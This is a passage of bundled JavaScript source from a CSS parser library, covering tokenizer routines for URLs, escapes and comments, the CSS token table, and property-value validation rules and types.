5398 hasDot = (first === "."),
5399 c = reader.peek();
5400
5401
5402 while (c) {
5403 if (isDigit(c)) {
5404 number += reader.read();
5405 } else if (c === ".") {
5406 if (hasDot) {
5407 break;
5408 } else {
5409 hasDot = true;
5410 number += reader.read();
5411 }
5412 } else {
5413 break;
5414 }
5415
5416 c = reader.peek();
5417 }
5418
5419 return number;
5420 },
5421
5422 // returns null w/o resetting reader if string is invalid.
5423 readString: function() {
5424 var token = this.stringToken(this._reader.read(), 0, 0);
5425 return token.type === Tokens.INVALID ? null : token.value;
5426 },
5427
5428 // returns null w/o resetting reader if URI is invalid.
5429 readURI: function(first) {
5430 var reader = this._reader,
5431 uri = first,
5432 inner = "",
5433 c = reader.peek();
5434
5435 //skip whitespace before
5436 while (c && isWhitespace(c)) {
5437 reader.read();
5438 c = reader.peek();
5439 }
5440
5441 //it's a string
5442 if (c === "'" || c === "\"") {
5443 inner = this.readString();
5444 if (inner !== null) {
5445 inner = PropertyValuePart.parseString(inner);
5446 }
5447 } else {
5448 inner = this.readUnquotedURL();
5449 }
5450
5451 c = reader.peek();
5452
5453 //skip whitespace after
5454 while (c && isWhitespace(c)) {
5455 reader.read();
5456 c = reader.peek();
5457 }
5458
5459 //if there was no inner value or the next character isn't closing paren, it's not a URI
5460 if (inner === null || c !== ")") {
5461 uri = null;
5462 } else {
5463 // Ensure argument to URL is always double-quoted
5464 // (This simplifies later processing in PropertyValuePart.)
5465 uri += PropertyValuePart.serializeString(inner) + reader.read();
5466 }
5467
5468 return uri;
5469 },
5470 // This method never fails, although it may return an empty string.
5471 readUnquotedURL: function(first) {
5472 var reader = this._reader,
5473 url = first || "",
5474 c;
5475
5476 for (c = reader.peek(); c; c = reader.peek()) {
5477 // Note that the grammar at
5478 // https://www.w3.org/TR/CSS2/grammar.html#scanner
5479 // incorrectly includes the backslash character in the
5480 // `url` production, although it is correctly omitted in
5481 // the `baduri1` production.
5482 if (nonascii.test(c) || /^[\-!#$%&*-\[\]-~]$/.test(c)) {
5483 url += c;
5484 reader.read();
5485 } else if (c === "\\") {
5486 if (/^[^\r\n\f]$/.test(reader.peek(2))) {
5487 url += this.readEscape(reader.read(), true);
5488 } else {
5489 break; // bad escape sequence.
5490 }
5491 } else {
5492 break; // bad character
5493 }
5494 }
5495
5496 return url;
5497 },
5498
5499 readName: function(first) {
5500 var reader = this._reader,
5501 ident = first || "",
5502 c;
5503
5504 for (c = reader.peek(); c; c = reader.peek()) {
5505 if (c === "\\") {
5506 if (/^[^\r\n\f]$/.test(reader.peek(2))) {
5507 ident += this.readEscape(reader.read(), true);
5508 } else {
5509 // Bad escape sequence.
5510 break;
5511 }
5512 } else if (isNameChar(c)) {
5513 ident += reader.read();
5514 } else {
5515 break;
5516 }
5517 }
5518
5519 return ident;
5520 },
5521
5522 readEscape: function(first, unescape) {
5523 var reader = this._reader,
5524 cssEscape = first || "",
5525 i = 0,
5526 c = reader.peek();
5527
5528 if (isHexDigit(c)) {
5529 do {
5530 cssEscape += reader.read();
5531 c = reader.peek();
5532 } while (c && isHexDigit(c) && ++i < 6);
5533 }
5534
5535 if (cssEscape.length === 1) {
5536 if (/^[^\r\n\f0-9a-f]$/.test(c)) {
5537 reader.read();
5538 if (unescape) {
5539 return c;
5540 }
5541 } else {
5542 // We should never get here (readName won't call readEscape
5543 // if the escape sequence is bad).
5544 throw new Error("Bad escape sequence.");
5545 }
5546 } else if (c === "\r") {
5547 reader.read();
5548 if (reader.peek() === "\n") {
5549 c += reader.read();
5550 }
5551 } else if (/^[ \t\n\f]$/.test(c)) {
5552 reader.read();
5553 } else {
5554 c = "";
5555 }
5556
5557 if (unescape) {
5558 var cp = parseInt(cssEscape.slice(first.length), 16);
5559 return String.fromCodePoint ? String.fromCodePoint(cp) :
5560 String.fromCharCode(cp);
5561 }
5562 return cssEscape + c;
5563 },
5564
5565 readComment: function(first) {
5566 var reader = this._reader,
5567 comment = first || "",
5568 c = reader.read();
5569
5570 if (c === "*") {
5571 while (c) {
5572 comment += c;
5573
5574 //look for end of comment
5575 if (comment.length > 2 && c === "*" && reader.peek() === "/") {
5576 comment += reader.read();
5577 break;
5578 }
5579
5580 c = reader.read();
5581 }
5582
5583 return comment;
5584 } else {
5585 return "";
5586 }
5587
5588 }
5589});
5590
5591},{"../util/TokenStreamBase":27,"./PropertyValuePart":11,"./Tokens":18}],18:[function(require,module,exports){
5592"use strict";
5593
5594var Tokens = module.exports = [
5595
5596 /*
5597 * The following token names are defined in CSS3 Grammar: https://www.w3.org/TR/css3-syntax/#lexical
5598 */
5599
5600 // HTML-style comments
5601 { name: "CDO" },
5602 { name: "CDC" },
5603
5604 // ignorables
5605 { name: "S", whitespace: true/*, channel: "ws"*/ },
5606 { name: "COMMENT", comment: true, hide: true, channel: "comment" },
5607
5608 // attribute equality
5609 { name: "INCLUDES", text: "~=" },
5610 { name: "DASHMATCH", text: "|=" },
5611 { name: "PREFIXMATCH", text: "^=" },
5612 { name: "SUFFIXMATCH", text: "$=" },
5613 { name: "SUBSTRINGMATCH", text: "*=" },
5614
5615 // identifier types
5616 { name: "STRING" },
5617 { name: "IDENT" },
5618 { name: "HASH" },
5619
5620 // at-keywords
5621 { name: "IMPORT_SYM", text: "@import" },
5622 { name: "PAGE_SYM", text: "@page" },
5623 { name: "MEDIA_SYM", text: "@media" },
5624 { name: "FONT_FACE_SYM", text: "@font-face" },
5625 { name: "CHARSET_SYM", text: "@charset" },
5626 { name: "NAMESPACE_SYM", text: "@namespace" },
5627 { name: "SUPPORTS_SYM", text: "@supports" },
5628 { name: "VIEWPORT_SYM", text: ["@viewport", "@-ms-viewport", "@-o-viewport"] },
5629 { name: "DOCUMENT_SYM", text: ["@document", "@-moz-document"] },
5630 { name: "UNKNOWN_SYM" },
5631 //{ name: "ATKEYWORD"},
5632
5633 // CSS3 animations
5634 { name: "KEYFRAMES_SYM", text: [ "@keyframes", "@-webkit-keyframes", "@-moz-keyframes", "@-o-keyframes" ] },
5635
5636 // important symbol
5637 { name: "IMPORTANT_SYM" },
5638
5639 // measurements
5640 { name: "LENGTH" },
5641 { name: "ANGLE" },
5642 { name: "TIME" },
5643 { name: "FREQ" },
5644 { name: "DIMENSION" },
5645 { name: "PERCENTAGE" },
5646 { name: "NUMBER" },
5647
5648 // functions
5649 { name: "URI" },
5650 { name: "FUNCTION" },
5651
5652 // Unicode ranges
5653 { name: "UNICODE_RANGE" },
5654
5655 /*
5656 * The following token names are defined in CSS3 Selectors: https://www.w3.org/TR/css3-selectors/#selector-syntax
5657 */
5658
5659 // invalid string
5660 { name: "INVALID" },
5661
5662 // combinators
5663 { name: "PLUS", text: "+" },
5664 { name: "GREATER", text: ">" },
5665 { name: "COMMA", text: "," },
5666 { name: "TILDE", text: "~" },
5667
5668 // modifier
5669 { name: "NOT" },
5670
5671 /*
5672 * Defined in CSS3 Paged Media
5673 */
5674 { name: "TOPLEFTCORNER_SYM", text: "@top-left-corner" },
5675 { name: "TOPLEFT_SYM", text: "@top-left" },
5676 { name: "TOPCENTER_SYM", text: "@top-center" },
5677 { name: "TOPRIGHT_SYM", text: "@top-right" },
5678 { name: "TOPRIGHTCORNER_SYM", text: "@top-right-corner" },
5679 { name: "BOTTOMLEFTCORNER_SYM", text: "@bottom-left-corner" },
5680 { name: "BOTTOMLEFT_SYM", text: "@bottom-left" },
5681 { name: "BOTTOMCENTER_SYM", text: "@bottom-center" },
5682 { name: "BOTTOMRIGHT_SYM", text: "@bottom-right" },
5683 { name: "BOTTOMRIGHTCORNER_SYM", text: "@bottom-right-corner" },
5684 { name: "LEFTTOP_SYM", text: "@left-top" },
5685 { name: "LEFTMIDDLE_SYM", text: "@left-middle" },
5686 { name: "LEFTBOTTOM_SYM", text: "@left-bottom" },
5687 { name: "RIGHTTOP_SYM", text: "@right-top" },
5688 { name: "RIGHTMIDDLE_SYM", text: "@right-middle" },
5689 { name: "RIGHTBOTTOM_SYM", text: "@right-bottom" },
5690
5691 /*
5692 * The following token names are defined in CSS3 Media Queries: https://www.w3.org/TR/css3-mediaqueries/#syntax
5693 */
5694 /*{ name: "MEDIA_ONLY", state: "media"},
5695 { name: "MEDIA_NOT", state: "media"},
5696 { name: "MEDIA_AND", state: "media"},*/
5697 { name: "RESOLUTION", state: "media" },
5698
5699 /*
5700 * The following token names are not defined in any CSS specification but are used by the lexer.
5701 */
5702
5703 // not a real token, but useful for stupid IE filters
5704 { name: "IE_FUNCTION" },
5705
5706 // part of CSS3 grammar but not the Flex code
5707 { name: "CHAR" },
5708
5709 // TODO: Needed?
5710 // Not defined as tokens, but might as well be
5711 {
5712 name: "PIPE",
5713 text: "|"
5714 },
5715 {
5716 name: "SLASH",
5717 text: "/"
5718 },
5719 {
5720 name: "MINUS",
5721 text: "-"
5722 },
5723 {
5724 name: "STAR",
5725 text: "*"
5726 },
5727
5728 {
5729 name: "LBRACE",
5730 endChar: "}",
5731 text: "{"
5732 },
5733 {
5734 name: "RBRACE",
5735 text: "}"
5736 },
5737 {
5738 name: "LBRACKET",
5739 endChar: "]",
5740 text: "["
5741 },
5742 {
5743 name: "RBRACKET",
5744 text: "]"
5745 },
5746 {
5747 name: "EQUALS",
5748 text: "="
5749 },
5750 {
5751 name: "COLON",
5752 text: ":"
5753 },
5754 {
5755 name: "SEMICOLON",
5756 text: ";"
5757 },
5758 {
5759 name: "LPAREN",
5760 endChar: ")",
5761 text: "("
5762 },
5763 {
5764 name: "RPAREN",
5765 text: ")"
5766 },
5767 {
5768 name: "DOT",
5769 text: "."
5770 }
5771];
5772
5773(function() {
5774 var nameMap = [],
5775 typeMap = Object.create(null);
5776
5777 Tokens.UNKNOWN = -1;
5778 Tokens.unshift({ name:"EOF" });
5779 for (var i=0, len = Tokens.length; i < len; i++) {
5780 nameMap.push(Tokens[i].name);
5781 Tokens[Tokens[i].name] = i;
5782 if (Tokens[i].text) {
5783 if (Tokens[i].text instanceof Array) {
5784 for (var j=0; j < Tokens[i].text.length; j++) {
5785 typeMap[Tokens[i].text[j]] = i;
5786 }
5787 } else {
5788 typeMap[Tokens[i].text] = i;
5789 }
5790 }
5791 }
5792
5793 Tokens.name = function(tt) {
5794 return nameMap[tt];
5795 };
5796
5797 Tokens.type = function(c) {
5798 return typeMap[c] || -1;
5799 };
5800})();
5801
5802},{}],19:[function(require,module,exports){
5803"use strict";
5804
5805/* exported Validation */
5806
5807var Matcher = require("./Matcher");
5808var Properties = require("./Properties");
5809var ValidationTypes = require("./ValidationTypes");
5810var ValidationError = require("./ValidationError");
5811var PropertyValueIterator = require("./PropertyValueIterator");
5812
5813var Validation = module.exports = {
5814
5815 validate: function(property, value) {
5816
5817 //normalize name
5818 var name = property.toString().toLowerCase(),
5819 expression = new PropertyValueIterator(value),
5820 spec = Properties[name],
5821 part;
5822
5823 if (!spec) {
5824 if (name.indexOf("-") !== 0) { //vendor prefixed are ok
5825 throw new ValidationError("Unknown property '" + property + "'.", property.line, property.col);
5826 }
5827 } else if (typeof spec !== "number") {
5828
5829 // All properties accept some CSS-wide values.
5830 // https://drafts.csswg.org/css-values-3/#common-keywords
5831 if (ValidationTypes.isAny(expression, "inherit | initial | unset")) {
5832 if (expression.hasNext()) {
5833 part = expression.next();
5834 throw new ValidationError("Expected end of value but found '" + part + "'.", part.line, part.col);
5835 }
5836 return;
5837 }
5838
5839 // Property-specific validation.
5840 this.singleProperty(spec, expression);
5841
5842 }
5843
5844 },
5845
5846 singleProperty: function(types, expression) {
5847
5848 var result = false,
5849 value = expression.value,
5850 part;
5851
5852 result = Matcher.parse(types).match(expression);
5853
5854 if (!result) {
5855 if (expression.hasNext() && !expression.isFirst()) {
5856 part = expression.peek();
5857 throw new ValidationError("Expected end of value but found '" + part + "'.", part.line, part.col);
5858 } else {
5859 throw new ValidationError("Expected (" + ValidationTypes.describe(types) + ") but found '" + value + "'.", value.line, value.col);
5860 }
5861 } else if (expression.hasNext()) {
5862 part = expression.next();
5863 throw new ValidationError("Expected end of value but found '" + part + "'.", part.line, part.col);
5864 }
5865
5866 }
5867
5868};
5869
5870},{"./Matcher":3,"./Properties":7,"./PropertyValueIterator":10,"./ValidationError":20,"./ValidationTypes":21}],20:[function(require,module,exports){
5871"use strict";
5872
5873module.exports = ValidationError;
5874
5875/**
5876 * Type to use when a validation error occurs.
5877 * @class ValidationError
5878 * @namespace parserlib.util
5879 * @constructor
5880 * @param {String} message The error message.
5881 * @param {int} line The line at which the error occurred.
5882 * @param {int} col The column at which the error occurred.
5883 */
5884function ValidationError(message, line, col) {
5885
5886 /**
5887 * The column at which the error occurred.
5888 * @type int
5889 * @property col
5890 */
5891 this.col = col;
5892
5893 /**
5894 * The line at which the error occurred.
5895 * @type int
5896 * @property line
5897 */
5898 this.line = line;
5899
5900 /**
5901 * The text representation of the unit.
5902 * @type String
5903 * @property text
5904 */
5905 this.message = message;
5906
5907}
5908
5909//inherit from Error
5910ValidationError.prototype = new Error();
5911
5912},{}],21:[function(require,module,exports){
5913"use strict";
5914
5915var ValidationTypes = module.exports;
5916
5917var Matcher = require("./Matcher");
5918
5919function copy(to, from) {
5920 Object.keys(from).forEach(function(prop) {
5921 to[prop] = from[prop];
5922 });
5923}
5924copy(ValidationTypes, {
5925
5926 isLiteral: function (part, literals) {
5927 var text = part.text.toString().toLowerCase(),
5928 args = literals.split(" | "),
5929 i, len, found = false;
5930
5931 for (i=0, len=args.length; i < len && !found; i++) {
5932 if (args[i].charAt(0) === "<") {
5933 found = this.simple[args[i]](part);
5934 } else if (args[i].slice(-2) === "()") {
5935 found = (part.type === "function" &&
5936 part.name === args[i].slice(0, -2));
5937 } else if (text === args[i].toLowerCase()) {
5938 found = true;
5939 }
5940 }
5941
5942 return found;
5943 },
5944
5945 isSimple: function(type) {
5946 return Boolean(this.simple[type]);
5947 },
5948
5949 isComplex: function(type) {
5950 return Boolean(this.complex[type]);
5951 },
5952
5953 describe: function(type) {
5954 if (this.complex[type] instanceof Matcher) {
5955 return this.complex[type].toString(0);
5956 }
5957 return type;
5958 },
5959
5960 /**
5961 * Determines if the next part(s) of the given expression
5962 * are any of the given types.
5963 */
5964 isAny: function (expression, types) {
5965 var args = types.split(" | "),
5966 i, len, found = false;
5967
5968 for (i=0, len=args.length; i < len && !found && expression.hasNext(); i++) {
5969 found = this.isType(expression, args[i]);
5970 }
5971
5972 return found;
5973 },
5974
5975 /**
5976 * Determines if the next part(s) of the given expression
5977 * are one of a group.
5978 */
5979 isAnyOfGroup: function(expression, types) {
5980 var args = types.split(" || "),
5981 i, len, found = false;
5982
5983 for (i=0, len=args.length; i < len && !found; i++) {
5984 found = this.isType(expression, args[i]);
5985 }
5986
5987 return found ? args[i-1] : false;
5988 },
5989
5990 /**
5991 * Determines if the next part(s) of the given expression
5992 * are of a given type.
5993 */
5994 isType: function (expression, type) {
5995 var part = expression.peek(),
5996 result = false;
5997
5998 if (type.charAt(0) !== "<") {
5999 result = this.isLiteral(part, type);
6000 if (result) {
6001 expression.next();
6002 }
6003 } else if (this.simple[type]) {
6004 result = this.simple[type](part);
6005 if (result) {
6006 expression.next();
6007 }
6008 } else if (this.complex[type] instanceof Matcher) {
6009 result = this.complex[type].match(expression);
6010 } else {
6011 result = this.complex[type](expression);
6012 }
6013
6014 return result;
6015 },
6016
6017
6018 simple: {
6019 __proto__: null,
6020
6021 "<absolute-size>":
6022 "xx-small | x-small | small | medium | large | x-large | xx-large",
6023
6024 "<animateable-feature>":
6025 "scroll-position | contents | <animateable-feature-name>",
6026
6027 "<animateable-feature-name>": function(part) {
6028 return this["<ident>"](part) &&
6029 !/^(unset|initial|inherit|will-change|auto|scroll-position|contents)$/i.test(part);
6030 },
6031
6032 "<angle>": function(part) {
6033 return part.type === "angle";
6034 },
6035
6036 "<attachment>": "scroll | fixed | local",
6037
6038 "<attr>": "attr()",
6039
6040 // inset() = inset( <shape-arg>{1,4} [round <border-radius>]? )
6041 // circle() = circle( [<shape-radius>]? [at <position>]? )
6042 // ellipse() = ellipse( [<shape-radius>{2}]? [at <position>]? )
6043 // polygon() = polygon( [<fill-rule>,]? [<shape-arg> <shape-arg>]# )
6044 "<basic-shape>": "inset() | circle() | ellipse() | polygon()",
6045
6046 "<bg-image>": "<image> | <gradient> | none",
6047
6048 "<border-style>":
6049 "none | hidden | dotted | dashed | solid | double | groove | " +
6050 "ridge | inset | outset",
6051
6052 "<border-width>": "<length> | thin | medium | thick",
6053
6054 "<box>": "padding-box | border-box | content-box",
6055
6056 "<clip-source>": "<uri>",
6057
6058 "<color>": function(part) {
6059 return part.type === "color" || String(part) === "transparent" || String(part) === "currentColor";
6060 },
6061
6062 // The SVG <color> spec doesn't include "currentColor" or "transparent" as a color.
6063 "<color-svg>": function(part) {
6064 return part.type === "color";
6065 },
6066
6067 "<content>": "content()",
6068
6069 // https://www.w3.org/TR/css3-sizing/#width-height-keywords
6070 "<content-sizing>":
6071 "fill-available | -moz-available | -webkit-fill-available | " +
6072 "max-content | -moz-max-content | -webkit-max-content | " +
6073 "min-content | -moz-min-content | -webkit-min-content | " +
6074 "fit-content | -moz-fit-content | -webkit-fit-content",
6075
6076 "<feature-tag-value>": function(part) {
6077 return part.type === "function" && /^[A-Z0-9]{4}$/i.test(part);
6078 },
6079
6080 // custom() isn't actually in the spec
6081 "<filter-function>":
6082 "blur() | brightness() | contrast() | custom() | " +
6083 "drop-shadow() | grayscale() | hue-rotate() | invert() | " +
6084 "opacity() | saturate() | sepia()",
6085
6086 "<flex-basis>": "<width>",
6087
6088 "<flex-direction>": "row | row-reverse | column | column-reverse",
6089
6090 "<flex-grow>": "<number>",
6091
6092 "<flex-shrink>": "<number>",
6093
6094 "<flex-wrap>": "nowrap | wrap | wrap-reverse",
6095
6096 "<font-size>":
6097 "<absolute-size> | <relative-size> | <length> | <percentage>",
6098
6099 "<font-stretch>":
6100 "normal | ultra-condensed | extra-condensed | condensed | " +
6101 "semi-condensed | semi-expanded | expanded | extra-expanded | " +
6102 "ultra-expanded",
6103
6104 "<font-style>": "normal | italic | oblique",
6105
6106 "<font-variant-caps>":
6107 "small-caps | all-small-caps | petite-caps | all-petite-caps | " +
6108 "unicase | titling-caps",
6109
6110 "<font-variant-css21>": "normal | small-caps",
6111
6112 "<font-weight>":
6113 "normal | bold | bolder | lighter | " +
6114 "100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900",
6115
6116 "<generic-family>":
6117 "serif | sans-serif | cursive | fantasy | monospace",
6118
6119 "<geometry-box>": "<shape-box> | fill-box | stroke-box | view-box",
6120
6121 "<glyph-angle>": function(part) {
6122 return part.type === "angle" && part.units === "deg";
6123 },
6124
6125 "<gradient>": function(part) {
6126 return part.type === "function" && /^(?:\-(?:ms|moz|o|webkit)\-)?(?:repeating\-)?(?:radial\-|linear\-)?gradient/i.test(part);
6127 },
6128
6129 "<icccolor>":
6130 "cielab() | cielch() | cielchab() | " +
6131 "icc-color() | icc-named-color()",
6132
6133 //any identifier
6134 "<ident>": function(part) {
6135 return part.type === "identifier" || part.wasIdent;
6136 },
6137
6138 "<ident-not-generic-family>": function(part) {
6139 return this["<ident>"](part) && !this["<generic-family>"](part);
6140 },
6141
6142 "<image>": "<uri>",
6143
6144 "<integer>": function(part) {
6145 return part.type === "integer";
6146 },
6147
6148 "<length>": function(part) {
6149 if (part.type === "function" && /^(?:\-(?:ms|moz|o|webkit)\-)?calc/i.test(part)) {
6150 return true;
6151 } else {
6152 return part.type === "length" || part.type === "number" || part.type === "integer" || String(part) === "0";
6153 }
6154 },
6155
6156 "<line>": function(part) {
6157 return part.type === "integer";
6158 },
6159
6160 "<line-height>": "<number> | <length> | <percentage> | normal",
6161
6162 "<margin-width>": "<length> | <percentage> | auto",
6163
6164 "<miterlimit>": function(part) {
6165 return this["<number>"](part) && part.value >= 1;
6166 },
6167
6168 "<nonnegative-length-or-percentage>": function(part) {
6169 return (this["<length>"](part) || this["<percentage>"](part)) &&
6170 (String(part) === "0" || part.type === "function" || (part.value) >= 0);
6171 },
6172
6173 "<nonnegative-number-or-percentage>": function(part) {
6174 return (this["<number>"](part) || this["<percentage>"](part)) &&
6175 (String(part) === "0" || part.type === "function" || (part.value) >= 0);
6176 },
6177
6178 "<number>": function(part) {
6179 return part.type === "number" || this["<integer>"](part);
6180 },
6181
6182 "<opacity-value>": function(part) {
6183 return this["<number>"](part) && part.value >= 0 && part.value <= 1;
6184 },
6185
6186 "<padding-width>": "<nonnegative-length-or-percentage>",
6187
6188 "<percentage>": function(part) {
6189 return part.type === "percentage" || String(part) === "0";
6190 },
6191
6192 "<relative-size>": "smaller | larger",
6193
6194 "<shape>": "rect() | inset-rect()",
6195
6196 "<shape-box>": "<box> | margin-box",
6197
6198 "<single-animation-direction>":
6199 "normal | reverse | alternate | alternate-reverse",
6200
6201 "<single-animation-name>": function(part) {
6202 return this["<ident>"](part) &&
6203 /^-?[a-z_][-a-z0-9_]+$/i.test(part) &&
6204 !/^(none|unset|initial|inherit)$/i.test(part);
6205 },
6206
6207 "<string>": function(part) {
6208 return part.type === "string";
6209 },
6210
6211 "<time>": function(part) {
6212 return part.type === "time";
6213 },
6214
6215 "<uri>": function(part) {
6216 return part.type === "uri";
6217 },
6218
6219 "<width>": "<margin-width>"
6220 },
6221
6222 complex: {
6223 __proto__: null,
6224
6225 "<azimuth>":
6226 "<angle>" +
6227 " | " +
6228 "[ [ left-side | far-left | left | center-left | center | " +
6229 "center-right | right | far-right | right-side ] || behind ]" +
6230 " | "+
6231 "leftwards | rightwards",
6232
6233 "<bg-position>": "<position>#",
6234
6235 "<bg-size>":
6236 "[ <length> | <percentage> | auto ]{1,2} | cover | contain",
6237
6238 "<border-image-slice>":
6239 // [<number> | <percentage>]{1,4} && fill?
6240 // *but* fill can appear between any of the numbers
6241 Matcher.many([true /* first element is required */],
6242 Matcher.cast("<nonnegative-number-or-percentage>"),
6243 Matcher.cast("<nonnegative-number-or-percentage>"),
6244 Matcher.cast("<nonnegative-number-or-percentage>"),
6245 Matcher.cast("<nonnegative-number-or-percentage>"),
6246 "fill"),
6247
6248 "<border-radius>":
6249 "<nonnegative-length-or-percentage>{1,4} " +
6250 "[ / <nonnegative-length-or-percentage>{1,4} ]?",
6251
6252 "<box-shadow>": "none | <shadow>#",
6253
6254 "<clip-path>": "<basic-shape> || <geometry-box>",
6255
6256 "<dasharray>":
6257 // "list of comma and/or white space separated <length>s and
6258 // <percentage>s". There is a non-negative constraint.
6259 Matcher.cast("<nonnegative-length-or-percentage>")
6260 .braces(1, Infinity, "#", Matcher.cast(",").question()),
6261
6262 "<family-name>":
6263 // <string> | <IDENT>+
6264 "<string> | <ident-not-generic-family> <ident>*",
6265
6266 "<filter-function-list>": "[ <filter-function> | <uri> ]+",
6267
6268 // https://www.w3.org/TR/2014/WD-css-flexbox-1-20140325/#flex-property
6269 "<flex>":
6270 "none | [ <flex-grow> <flex-shrink>? || <flex-basis> ]",
6271
6272 "<font-family>": "[ <generic-family> | <family-name> ]#",
6273
6274 "<font-shorthand>":
6275 "[ <font-style> || <font-variant-css21> || " +
6276 "<font-weight> || <font-stretch> ]? <font-size> " +
6277 "[ / <line-height> ]? <font-family>",
6278
6279 "<font-variant-alternates>":
6280 // stylistic(<feature-value-name>)
6281 "stylistic() || " +
6282 "historical-forms || " +
6283 // styleset(<feature-value-name> #)
6284 "styleset() || " +
6285 // character-variant(<feature-value-name> #)
6286 "character-variant() || " +
6287 // swash(<feature-value-name>)
6288 "swash() || " +
6289 // ornaments(<feature-value-name>)
6290 "ornaments() || " +
6291 // annotation(<feature-value-name>)
6292 "annotation()",
6293
6294 "<font-variant-ligatures>":
6295 // <common-lig-values>
6296 "[ common-ligatures | no-common-ligatures ] || " +
6297 // <discretionary-lig-values>
6298 "[ discretionary-ligatures | no-discretionary-ligatures ] || " +
6299 // <historical-lig-values>
6300 "[ historical-ligatures | no-historical-ligatures ] || " +
6301 // <contextual-alt-values>
6302 "[ contextual | no-contextual ]",
6303
6304 "<font-variant-numeric>":
6305 // <numeric-figure-values>
6306 "[ lining-nums | oldstyle-nums ] || " +
6307 // <numeric-spacing-values>
6308 "[ proportional-nums | tabular-nums ] || " +
6309 // <numeric-fraction-values>
6310 "[ diagonal-fractions | stacked-fractions ] || " +
6311 "ordinal || slashed-zero",
6312
6313 "<font-variant-east-asian>":
6314 // <east-asian-variant-values>
6315 "[ jis78 | jis83 | jis90 | jis04 | simplified | traditional ] || " +
6316 // <east-asian-width-values>
6317 "[ full-width | proportional-width ] || " +
6318 "ruby",
6319
6320 // Note that <color> here is "as defined in the SVG spec", which
6321 // is more restrictive that the <color> defined in the CSS spec.
6322 // none | currentColor | <color> [<icccolor>]? |
6323 // <funciri> [ none | currentColor | <color> [<icccolor>]? ]?
6324 "<paint>": "<paint-basic> | <uri> <paint-basic>?",
6325
6326 // Helper definition for <paint> above.
6327 "<paint-basic>": "none | currentColor | <color-svg> <icccolor>?",
6328
6329 "<position>":
6330 // Because our `alt` combinator is ordered, we need to test these
6331 // in order from longest possible match to shortest.
6332 "[ center | [ left | right ] [ <percentage> | <length> ]? ] && " +
6333 "[ center | [ top | bottom ] [ <percentage> | <length> ]? ]" +
6334 " | " +
6335 "[ left | center | right | <percentage> | <length> ] " +
6336 "[ top | center | bottom | <percentage> | <length> ]" +
6337 " | " +
6338 "[ left | center | right | top | bottom | <percentage> | <length> ]",
6339
6340 "<repeat-style>":
6341 "repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2}",
6342
6343 "<shadow>":
6344 //inset? && [ <length>{2,4} && <color>? ]
6345 Matcher.many([true /* length is required */],
6346 Matcher.cast("<length>").braces(2, 4), "inset", "<color>"),
6347
6348 "<text-decoration-color>":
6349 "<color>",
6350
6351 "<text-decoration-line>":
6352 "none | [ underline || overline || line-through || blink ]",
6353
6354 "<text-decoration-style>":
6355 "solid | double | dotted | dashed | wavy",
6356
6357 "<will-change>":
6358 "auto | <animateable-feature>#",
6359
6360 "<x-one-radius>":
6361 //[ <length> | <percentage> ] [ <length> | <percentage> ]?
6362 "[ <length> | <percentage> ]{1,2}"
6363 }
6364});
6365
6366Object.keys(ValidationTypes.simple).forEach(function(nt) {
6367 var rule = ValidationTypes.simple[nt];
6368 if (typeof rule === "string") {
6369 ValidationTypes.simple[nt] = function(part) {
6370 return ValidationTypes.isLiteral(part, rule);
6371 };
6372 }
6373});
6374
6375Object.keys(ValidationTypes.complex).forEach(function(nt) {
6376 var rule = ValidationTypes.complex[nt];
6377 if (typeof rule === "string") {
6378 ValidationTypes.complex[nt] = Matcher.parse(rule);
6379 }
6380});
6381
6382// Because this is defined relative to other complex validation types,
6383// we need to define it *after* the rest of the types are initialized.
6384ValidationTypes.complex["<font-variant>"] =
6385 Matcher.oror({ expand: "<font-variant-ligatures>" },
6386 { expand: "<font-variant-alternates>" },
6387 "<font-variant-caps>",
6388 { expand: "<font-variant-numeric>" },
6389 { expand: "<font-variant-east-asian>" });
6390
6391},{"./Matcher":3}],22:[function(require,module,exports){
6392"use strict";
6393
6394module.exports = {
6395 Colors : require("./Colors"),
6396 Combinator : require("./Combinator"),
6397 Parser : require("./Parser"),
6398 PropertyName : require("./PropertyName"),
6399 PropertyValue : require("./PropertyValue"),
6400 PropertyValuePart : require("./PropertyValuePart"),
6401 Matcher : require("./Matcher"),
6402 MediaFeature : require("./MediaFeature"),
6403 MediaQuery : require("./MediaQuery"),
6404 Selector : require("./Selector"),
6405 SelectorPart : require("./SelectorPart"),
6406 SelectorSubPart : require("./SelectorSubPart"),
6407 Specificity : require("./Specificity"),
6408 TokenStream : require("./TokenStream"),
6409 Tokens : require("./Tokens"),
6410 ValidationError : require("./ValidationError")
6411};
6412
6413},{"./Colors":1,"./Combinator":2,"./Matcher":3,"./MediaFeature":4,"./MediaQuery":5,"./Parser":6,"./PropertyName":8,"./PropertyValue":9,"./PropertyValuePart":11,"./Selector":13,"./SelectorPart":14,"./SelectorSubPart":15,"./Specificity":16,"./TokenStream":17,"./Tokens":18,"./ValidationError":20}],23:[function(require,module,exports){
6414"use strict";
6415
6416module.exports = EventTarget;
6417
6418/**
6419 * A generic base to inherit from for any object
6420 * that needs event handling.
6421 * @class EventTarget
6422 * @constructor
6423 */
6424function EventTarget() {
6425
6426 /**
6427 * The array of listeners for various events.
6428 * @type Object
6429 * @property _listeners
6430 * @private
6431 */
6432 this._listeners = Object.create(null);
6433}
6434
6435EventTarget.prototype = {
6436
6437 //restore constructor
6438 constructor: EventTarget,
6439
6440 /**
6441 * Adds a listener for a given event type.
6442 * @param {String} type The type of event to add a listener for.
6443 * @param {Function} listener The function to call when the event occurs.
6444 * @return {void}
6445 * @method addListener
6446 */
6447 addListener: function(type, listener) {
6448 if (!this._listeners[type]) {
6449 this._listeners[type] = [];
6450 }
6451
6452 this._listeners[type].push(listener);
6453 },
6454
6455 /**
6456 * Fires an event based on the passed-in object.
6457 * @param {Object|String} event An object with at least a 'type' attribute
6458 * or a string indicating the event name.
6459 * @return {void}
6460 * @method fire
6461 */
6462 fire: function(event) {
6463 if (typeof event === "string") {
6464 event = { type: event };
6465 }
6466 if (typeof event.target !== "undefined") {
6467 event.target = this;
6468 }
6469
6470 if (typeof event.type === "undefined") {
6471 throw new Error("Event object missing 'type' property.");
6472 }
6473
6474 if (this._listeners[event.type]) {
6475
6476 //create a copy of the array and use that so listeners can't chane
6477 var listeners = this._listeners[event.type].concat();
6478 for (var i=0, len=listeners.length; i < len; i++) {
6479 listeners[i].call(this, event);
6480 }
6481 }
6482 },
6483
6484 /**
6485 * Removes a listener for a given event type.
6486 * @param {String} type The type of event to remove a listener from.
6487 * @param {Function} listener The function to remove from the event.
6488 * @return {void}
6489 * @method removeListener
6490 */
6491 removeListener: function(type, listener) {
